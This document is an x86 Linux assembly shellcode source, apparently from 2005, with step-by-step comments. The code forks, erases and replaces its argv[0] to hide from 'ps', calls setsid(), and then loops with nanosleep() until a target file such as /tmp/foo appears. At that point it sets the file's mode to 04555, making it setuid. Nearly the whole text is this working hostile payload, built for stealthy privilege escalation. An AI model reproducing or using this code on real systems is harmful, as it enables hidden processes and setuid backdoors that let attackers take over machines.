#=============================================================================================#
# hide-wait-change (final v4)                                                                 #
# ------------------------------------------------------------------------------------------- #
#      Author: xort (rrs@clyde.dcccd.edu)                                                     #
#        Date: 09/14/2005 3:35pm                                                              # 
#        Type: shellcode/(x86-linux).s,   (at&t)                                              #
#        Size: strlen(fake-proc-name) + strlen(file-to-change) + 187                          #
# Discription: This is a shellcode that will infect a process, play some argv[0] games among  #
#              other tricks to hide itself from 'ps', and waits until the creation of a       #
#              specified file. Once this file is found to exist, its permissions are changed  #
#              to 04555. Original concept concived by izik.                                   #
###############################################################################################

.section .text

	.global _start

        ###################################################################################
        ##                                                                               ##
        ## _start: 1) fork() a new process                                               ##
        ##         2) check to see if we are child process                               ##
        ##         3) if we are then _exit()                                             ##
        ##                                                                               ##
        ###################################################################################


	_start:


	      #-------------------------------------------#
	      # we start with a fork()                    #
	      #-------------------------------------------#
                 
	      push $0x02
              pop %eax	
              int $0x80
		
                
	      #-------------------------------------------#
	      # child or parent?                          #
	      #-------------------------------------------#
		
	      test %eax, %eax
	      je proc_name
	

	      #-------------------------------------------#
	      # parent goes exit()                        #
	      #-------------------------------------------#

	      push $0x01
              pop %eax 
	      int $0x80  
             

        ###################################################################################
        ##                                                                               ##
        ##         1) get address of "/proc/self/stat" and fix null@end                  ##
        ##         2) open() "/proc/self/stat"                                           ##
        ##         3) read in 250 bytes from file                                        ##
        ##                                                                               ##
        ###################################################################################


              #-------------------------------------------#             
              # grab "/proc" string location              #
              #-------------------------------------------#

 ret_w_proc:  pop %ebx
              lea 0x10(%ebx), %esi              

              #-------------------------------------------#
	      # fix "/proc" string to include c-string    #
	      # terminator                                #
	      #-------------------------------------------#
	      
              incb 0xf(%ebx)


	###################################################################################
        ##                                                                               ##
        ## Open "/proc/self/stat" and read in 250 bytes                                  ##
        ##                                                                               ##
        ###################################################################################


              #-------------------------------------------#
	      # open() the file                           #
	      #-------------------------------------------#
	      
	      cdq 
	      xor %ecx, %ecx
              movb $0x5, %al
              int $0x80
	      	      

	      #------------------------------------------#
	      # read() 250-bytes from the file into      #
	      # ESP-250                                  #
	      #------------------------------------------#
	      
	      xchg %eax, %ebx # store fd-pointer in ebx
	      push $0x3
              pop %eax
	      movb $250, %dl      
	      mov %esp, %ecx              
	      sub %edx, %ecx
              int $0x80  
	      
	      mov %ecx, %edi
              add %eax, %edi
	      

	###################################################################################
        ##                                                                               ##
        ##      1) Get location of pointer to argv[0] from file (NF-13)                  ## 
        ##      2) Convert it to binary                                                  ##
        ##      3) use that to find real argv[0]s location                               ##
        ##      4) null-out all args with 0x0                                            ##
        ##                                                                               ##
	###################################################################################


	      #------------------------------------------#
	      # scan for the decimal-string of the       #
	      # location of argc & argv[0]               #
	      #------------------------------------------#	      
	      
	      xchg %eax, %ebx
	      
              std
	      push $0x20
              pop %eax
	      push $14
              pop %ecx
	     
  findargs:
              xchg %ecx, %ebx      
	      repne scasb
	      xchg %ecx, %ebx
	      loop findargs
	      inc %edi
	      inc %edi
	      

	      #------------------------------------------#
	      # translate string into a real number to   #
	      # obtain pointer.                          #
	      #------------------------------------------#

              xor %eax, %eax
	      push $10
              pop %ebx
              cld 

 calcloop: 
              xor %edx, %edx
              movb (%edi), %cl
              subl $0x30, %ecx
              addl %ecx, %eax
              inc %edi
              cmpb $0x20, (%edi) 
              je done_gotnum
              mul %ebx
              jmp calcloop 


              #------------------------------------------#
              # once we have the location in memory of   #
              # pointers to argc,argv[0-?], and envp,    #
              # extract the location of argv[0]          #
              #------------------------------------------#

 done_gotnum:
              xchg %eax, %esp
	      pop %edi          
	      pop %edi
	      xchg %eax, %esp


              #------------------------------------------#
              # write 255 null characters past argv[0]   #
              # to overwrite it and any other args so ps #
              # wont see them later                      #
              #------------------------------------------#

              push %edi
              movb $0xff, %cl
              xor %eax, %eax
              rep stosb
              pop %edi



	###################################################################################
        ##                                                                               ##
        ##      1) Get location of string we are going to copy over argv[0] and fix      ## 
        ##         null@end.                                                             ##
        ##      2) Call setsid() to extablish us as a process leader.                    ##
        ##      3) Jump over strings into shellcode.                                     ##
        ##                                                                               ##
	###################################################################################


              #------------------------------------------#
              # Get string location, fix nullchar and    #
              # copy over argv[0],                       #
              #------------------------------------------#


              push %esi
              dec %esi
 findend:
              inc %esi
              inc %ecx
              cmpb $0xff, (%esi)
              jne findend

              incb (%esi)
              pop %esi               
	      rep movsb


              #------------------------------------------#
              # Call setsid() to establish us as a       #
              # process leader.                          #
              #------------------------------------------#

              movb $66, %al
              int $0x80

              mov %esi, %edi
              xchg %eax, %edx

              dec %eax
              mov %eax, %ecx 
              repne scasb
               
              incb -1(%edi)


              #------------------------------------------#
              # Jump over strings into shellcode         #
              #------------------------------------------#

              jmp *%edi


	###################################################################################
        ##     STRINGS                                                                   ##
	###################################################################################


	proc_name:
		call ret_w_proc
		.ascii "/proc/self/stat\xff"
	
   replace_string:
		.ascii "haha\xff"

         filename:
                .ascii "/tmp/foo\xff"


	###################################################################################
        #                                                                                 #
        # SHELLCODE                                                                       #
        #          1) call nanosleep(60)                                                  #
        #          2) check to see if FILENAME exist w/ access()                          #
        #          3) if it does, then chmod 04555 FILENAME and exit                      #
        #          4) _exit()                                                             #
        #                                                                                 #
	###################################################################################

       shellcode:
                push $60

    checkforfile:
                inc %eax

              #------------------------------------------#
              # nanosleep(%edi)                          #
              #------------------------------------------#
                mov %esp, %ecx
                mov %esp, %ecx
                mov %esp, %ebx
                xorb $0xa2, %al
                int $0x80


              #------------------------------------------#
              # access((%esi),0)                         #
              #------------------------------------------#

                xor %ecx, %ecx
                mov %esi, %ebx
                xorb $0x21, %al
                int $0x80

                test %eax, %eax
                jne checkforfile 


              #------------------------------------------#
              # chmod((%esi),04555)                      #
              #------------------------------------------#

                movb $0xf, %al
                movw $0x96d, %cx 
                int $0x80 


              #------------------------------------------#
              # _exit()                                  #
              #------------------------------------------#

                inc %eax
                int $0x80